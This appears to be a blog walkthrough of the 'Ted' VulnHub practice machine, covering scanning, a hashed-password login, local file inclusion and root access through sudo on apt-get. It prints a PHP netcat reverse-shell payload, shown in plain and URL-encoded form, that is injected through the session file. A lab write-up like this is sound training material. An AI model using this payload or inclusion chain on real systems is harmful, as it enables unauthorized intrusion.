Ted VULHUB walkthrough (It was fun though)
Ted VULHUB walkthrough (It was fun though)
Penetrating Methodology:
Scanning
- NMAP
Enumeration
- Browsing the website
- Burpsuite
Exploitation
- Netcat
Privilege Escalation
- Sudo permission for the apt-get command
Let's Breach the BOX
I scan the Network with nmap and found the box in 192.168.234.136 IP (that was quick)
Quick nmap scan and the result was fast with 80 port open with apache 2.4.18 and don't found any interesting thing that could be exploited.so i try surfing the in browser..
I got login form
and i quickly check the username and password as admin,root and other possible combination and that doesn't work and i think of intercepting the traffic using burpsuit
The password hash is incorrect.hmmm, seems like it is taking password in hash form and the username is correct..
I tried some common hash and sha256 works for password as admin (encode the admin in sha256 and go for login )
Opps i got the page and page was reading a file from the browser file system
So, i quickly type /etc/passwd and intercept in burpsuit and got
so i tried for file inclusion to remote file inclusion vulnerability
Let's grap the php session id and exploit the user_pref and then go for php listener code
so,now let's try the php netcat listener
The php code is <?php system("nc 192.168.1.7 1234 -e /bin/bash")?>
Encode this in url
%3c%3fphp%20system%28%22nc%20192.168.1.7%201234%20-e%20%2fbin%2fbash%22%29%3f%3e
and listen as reverse in below figure.
Boom we got a shell and check the id it's www-data (lower shell)
let's do a privelge escaltion
As you can see the apt-get update has root permission without password and this can be use for gain access as root
we got the root permission.
Happy hacking :)
Comments
Post a Comment